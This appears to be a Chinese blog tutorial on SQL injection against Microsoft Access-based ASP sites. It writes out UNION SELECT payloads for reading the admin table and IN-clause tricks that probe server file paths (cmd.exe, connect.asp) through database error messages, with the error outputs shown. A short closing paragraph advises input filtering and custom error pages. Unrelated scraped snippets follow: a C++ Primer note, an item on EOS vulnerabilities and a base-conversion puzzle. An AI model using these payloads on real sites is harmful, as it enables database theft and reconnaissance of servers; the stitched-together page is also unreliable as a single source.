文/ amanl
如今sql injection可謂是火爆,諸多新的injection方式被挖掘出來。利用系統錯誤來爆路徑,更是熱門話題,今天我也湊個熱鬧。
本例測試適用於access(由於ms sql查詢不存在指定路徑),aceess存在乙個可以把源資料庫的表匯入到目標資料庫中。
如: mysource.mdb(admin表) —〉mydestion.mdb中
如果要在乙個已經存在的外部資料庫裡建立新的工作表,你可以用in關鍵字。如果外部資料庫不存在或是資料表已存在的話,select into 語句將會返回乙個錯誤資訊。
select * into tblnewcustomers in 'c:/customers.mdb' from tblcustomers。
左右推揣是不是能用子查詢功能應用把它變成:
一般有漏洞語句,如select * from news where id="&request("id"),存在注射的。以下的演示就用一套使用select * from news whre id=」&request(「id」)來作測試。為了方便,直接轉換為sql執行時的狀態:
select * from news where id=3 and select * into tblnewcustomers in 'c:/customers.mdb' from tblcustomers
經測試是不能在子查詢實現導表的功能的。這條路又被檔住了。突然之間想到了union,合併操作符,看看是否能用它。
注:the union operator(適用acceess)
雖然union 的操作也可以視為乙個合併查詢,但我們不可以技術性地把它看作是乙個聯接,它之所以被提到是因為它能把從多個**獲得的資料合成乙個結果表單中,而這一點和某些型別的聯接是類似的。union 操作一般被用來把來自表單、select語句或查詢的資料結合,並省略掉任何重複的行。所有的資料來源必須有相同數目的域,不過這些域不一定要是相同的資料型別。讓我們假設我們有乙個雇員表單,其中具有和顧客工作表單相同的結構,那麼我們希望合併這兩個工作表得到乙個姓名和電子郵件位址資訊的列表。
select [last name], [first name], email from tblcustomers union select [last name], [first name], email from tblemployees
union操作不會顯示任何在兩個表單中重複出現的記錄。利用union 的查詢語句一定要與union前的查詢語句欄位列相等,如:
select id,title from news where id=3 union select * from admin
查詢的字段不等,返回:
microsoft ole db provider for odbc drivers 錯誤 '80004005' [microsoft][odbc microsoft access driver] 在聯合查詢中所選定的兩個資料表或查詢中的列數不匹配。
查詢語句可用避過: select id,title from news where id=3 union select 1,1 from admin 只要放入的1的個數與字段相等,也可實現查詢。
看看是否能夠把語句變成:
select * from news where id=3 union select * into tblnewcustomers in 'c:/customers.mdb' from tblcustomers
返回:microsoft ole db provider for odbc drivers 錯誤 '80004005' [microsoft][odbc microsoft access driver] 動作查詢不能作為行的**。
結果,還是失敗的。因為union只適用查詢結合。union後面不能跟動作。可能這條路走不通了,想想還是不甘心。
試著用:
select * from news where id=3 union select * from admin.c
返回:microsoft jet database engine 錯誤 '80004005' 找不到檔案 'c:/winnt/system32/admin.mdb'。
這證明和用select * from news where id=3 and 0<>(select count(*) from admin.c)是一樣可以成功測試路徑的。但是想想用這種方法access始終預設檢測字尾mdb,雖然用以上有辦法避過。便是過於麻煩。
於是我在想是不是用其他的方法可以更簡單的實現,回頭想起了剛才select * into tblnewcustomers in 'c:/customers.mdb' from tblcustomers。in關鍵字不是可以指向路徑檔名嗎?是否可以把它歸為已用。
接著測試:
select * from news where id=3 union select * from admin in 'c:/customers.mdb'
microsoft jet database engine 錯誤 '80004005' 找不到檔案 'c:/customers.mdb'。
使用:select * from news where id=3 union select * from admin in 'c:/winnt/system32/cmd.exe'
microsoft jet database engine 錯誤 '80004005' microsoft jet 資料庫引擎打不開檔案'c:/winnt/system32/cmd.exe'。 它已經被別的使用者以獨佔方式開啟,或沒有檢視資料的許可權。
這種方式的實現比起用 and 0<>(select count(*) from admin)查詢的結來得更為簡明了,而且猜測的是mdb字尾的檔案,猜測的路徑和檔名正確的,資訊會正常顯示。但如果是猜測非mdb的檔案則是這樣的:
執行:select * from news where id=3 union select * from admin in 'e://include/connect.asp'
返回:microsoft ole db provider for odbc drivers 錯誤 '80004005' [microsoft][odbc microsoft access driver] 不可識別的資料庫格式 'e://include/connect.asp'
證明所猜測的路徑和檔案是正確的。
後話,由於access本身的缺陷,至使sql injection的方式層出不窮。但很大一方面是由於程式設計師在書寫程式的時候,不注意防範,防弊大意。針對有傳值的sql語進行詳細的過濾,起碼也是阻擋sql injection的一道門,access本身的缺陷解使,很多法語洞防不勝防,建議伺服器出錯資訊,建立乙個自己的web資訊出錯面面,伺服器出錯就出現那頁面。這樣一來就沒有參考的出錯資訊了,僅於些文當作參考。
讀C Primer的一點發現
1.識別符號不能包含兩個連續的下劃線 也不能以下劃線開頭後面緊跟乙個大寫字母 在函式體外定義的識別符號不能以下劃線開頭 int a 1 cout a endl 錯誤1error c2065 a 未宣告的識別符號d documents visual studio 2013 projects 實驗 實驗...
周鴻禕 360發現的EOS漏洞價值超「百億美金」
今日塊訊 www.cppcns.com 5 月 29 日訊息今天,360 安全團隊宣布發現eos存在一系列高危安全漏洞的訊息直接讓幣圈 炸鍋了,對於該漏洞的發現,周鴻禕也發表了他的看法。周鴻禕在微博表示,360 安全大腦發現的區程式設計客棧塊鏈漏洞,價值超過 百億美金程式設計客棧 如果被非法利用,可...
進製轉換規律的一點發現
前兩天刷題刷到這樣一道題目,然後問了大佬這種解法的思路,才恍然大悟.題意 給乙個長度不超過 18 的 01 串,你需要輸出這個串在 2,3,4,5,6,7,8,9,10 進製表示下的數值在 10 進製下的和。輸入描述 第一行是乙個正整數 t t 100000 表示測試資料的組數,接下來 t 行,每行...